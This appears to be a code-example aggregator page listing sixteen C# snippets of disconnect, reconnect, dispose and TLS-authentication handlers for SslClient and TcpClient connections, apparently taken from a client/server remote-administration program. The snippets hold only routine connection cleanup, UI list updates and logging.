Exemplo n.º 1
0
        public void Disconnected()
        {
            if (LV != null)
            {
                Program.form1.BeginInvoke((MethodInvoker)(() =>
                {
                    try
                    {
                        lock (Settings.LockListviewClients)
                            LV.Remove();

                        if (LV2 != null)
                        {
                            lock (Settings.LockListviewThumb)
                                LV2.Remove();
                        }
                    }
                    catch { }
                }));
                new HandleLogs().Addmsg($"Client {TcpClient.RemoteEndPoint.ToString().Split(':')[0]} disconnected", Color.Red);
            }

            try
            {
                SslClient?.Dispose();
                TcpClient?.Dispose();
                ClientMS?.Dispose();
            }
            catch { }
        }
Exemplo n.º 2
0
        public void Disconnected()
        {
            if (LV != null)
            {
                Program.form1.Invoke((MethodInvoker)(() =>
                {
                    try
                    {
                        lock (Settings.LockListviewClients)
                            LV.Remove();

                        if (LV2 != null)
                        {
                            lock (Settings.LockListviewThumb)
                                LV2.Remove();
                        }
                    }
                    catch { }
                    SoundPlayer sp = new SoundPlayer(Server.Properties.Resources.offline);
                    sp.Load();
                    sp.Play();
                    new HandleLogs().Addmsg($"Client {Ip} disconnected.", Color.Red);
                }));
            }

            try
            {
                SslClient?.Dispose();
                TcpClient?.Dispose();
            }
            catch { }
        }
Exemplo n.º 3
0
        public void Disconnected()
        {
            if (LV != null)
            {
                Program.form1.Invoke((MethodInvoker)(() =>
                {
                    try
                    {
                        lock (Settings.LockListviewClients)
                            LV.Remove();

                        if (LV2 != null)
                        {
                            lock (Settings.LockListviewThumb)
                                LV2.Remove();
                        }
                    }
                    catch { }
                    new HandleLogs().Addmsg($"Client {Ip} disconnected", Color.Red);
                }));
            }

            try
            {
                SslClient?.Dispose();
                TcpClient?.Dispose();
            }
            catch { }
        }
Exemplo n.º 4
0
 public static void Reconnect()
 {
     try
     {
         Ping?.Dispose();
         KeepAlive?.Dispose();
         SslClient?.Dispose();
         TcpClient?.Dispose();
     }
     catch { }
 }
Exemplo n.º 5
0
 public static void Disconnected()
 {
     try
     {
         IsConnected = false;
         Tick?.Dispose();
         SslClient?.Dispose();
         TcpClient?.Dispose();
     }
     catch { }
 }
Exemplo n.º 6
0
 public static void Reconnect()
 {
     try
     {
         Tick?.Dispose();
         SslClient?.Dispose();
         TcpClient?.Dispose();
         MS?.Dispose();
     }
     catch { }
 }
Exemplo n.º 7
0
 public void Dispose()
 {
     try
     {
         Tick?.Dispose();
         SslClient?.Dispose();
         Client?.Dispose();
         MS?.Dispose();
     }
     catch { }
 }
Exemplo n.º 8
0
 public static void Reconnect()
 {
     try
     {
         SslClient?.Dispose();
         TcpClient?.Dispose();
         Ping?.Dispose();
         KeepAlive?.Dispose();
     }
     catch { }
     IsConnected = false;
 }
Exemplo n.º 9
0
 public static void Reconnect()
 {
     try
     {
         Tick?.Dispose();
         SslClient?.Dispose();
         Client?.Dispose();
         MS?.Dispose();
     }
     finally
     {
         InitializeClient();
     }
 }
Exemplo n.º 10
0
 private void EndAuthenticate(IAsyncResult ar)
 {
     try
     {
         SslClient.EndAuthenticateAsServer(ar);
         ClientBuffer = new byte[HeaderSize];
         ClientMS     = new MemoryStream();
         SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
     }
     catch
     {
         SslClient?.Dispose();
         TcpClient?.Dispose();
     }
 }
Exemplo n.º 11
0
 private void EndAuthenticate(IAsyncResult ar)
 {
     try
     {
         SslClient.EndAuthenticateAsServer(ar);
         ClientBuffer = new byte[4];
         ClientMS     = new MemoryStream();
         SslClient.BeginRead(ClientBuffer, 0, ClientBuffer.Length, ReadClientData, null);
     }
     catch
     {
         //Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]);
         SslClient?.Dispose();
         TcpClient?.Dispose();
     }
 }
Exemplo n.º 12
0
 private void EndAuthenticate(IAsyncResult ar)
 {
     try
     {
         SslClient.EndAuthenticateAsServer(ar);
         Offset       = 0;
         HeaderSize   = 4;
         ClientBuffer = new byte[HeaderSize];
         SslClient.BeginRead(ClientBuffer, (int)Offset, (int)HeaderSize, ReadClientData, null);
     }
     catch
     {
         SslClient?.Dispose();
         TcpClient?.Dispose();
     }
 }
Exemplo n.º 13
0
        public void Dispose()
        {
            IsConnected = false;

            try
            {
                TcpClient.Shutdown(SocketShutdown.Both);
            }
            catch { }

            try
            {
                Tick?.Dispose();
                SslClient?.Dispose();
                TcpClient?.Dispose();
            }
            catch { }
        }
Exemplo n.º 14
0
        public void Disconnected()
        {
            if (LV != null)
            {
                if (Program.form1.listView1.InvokeRequired)
                {
                    Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
                    {
                        try
                        {
                            lock (Settings.Listview1Lock)
                                LV.Remove();

                            if (LV2 != null)
                            {
                                lock (Settings.Listview3Lock)
                                    LV2.Remove();
                            }
                        }
                        catch { }
                    }));
                }

                lock (Settings.Online)
                    Settings.Online.Remove(this);
            }

            try
            {
                TcpClient.Shutdown(SocketShutdown.Both);
            }
            catch { }

            try
            {
                SslClient?.Close();
                TcpClient?.Close();
                SslClient?.Dispose();
                TcpClient?.Dispose();
                ClientMS?.Dispose();
            }
            catch { }
        }
Exemplo n.º 15
0
 public static void Disconnected()
 {
     try
     {
         try
         {
             if (File.Exists(Packet.ZipfilePath))
             {
                 File.Delete(Packet.ZipfilePath);
             }
         }
         catch { }
         IsConnected = false;
         Tick?.Dispose();
         SslClient?.Dispose();
         TcpClient?.Dispose();
         GC.Collect();
     }
     catch { }
 }
Exemplo n.º 16
0
        public void Disconnected()
        {
            if (LV != null)
            {
                Program.form1.Invoke((MethodInvoker)(() =>
                {
                    try
                    {
                        lock (Settings.LockListviewClients)
                            LV.Remove();

                        if (LV2 != null)
                        {
                            lock (Settings.LockListviewThumb)
                                LV2.Remove();
                        }
                    }
                    catch { }
                    new HandleLogs().Addmsg($"Client {Ip} disconnected.", Color.Red);
                    TimeZoneInfo local = TimeZoneInfo.Local;
                    if (local.Id == "China Standard Time" && Properties.Settings.Default.Notification == true)
                    {
                        SoundPlayer sp = new SoundPlayer(Server.Properties.Resources.offline);
                        sp.Load();
                        sp.Play();
                    }

                    foreach (AsyncTask asyncTask in Form1.getTasks.ToList())
                    {
                        asyncTask.doneClient.Remove(ID);
                    }
                }));
            }

            try
            {
                SslClient?.Dispose();
                TcpClient?.Dispose();
            }
            catch { }
        }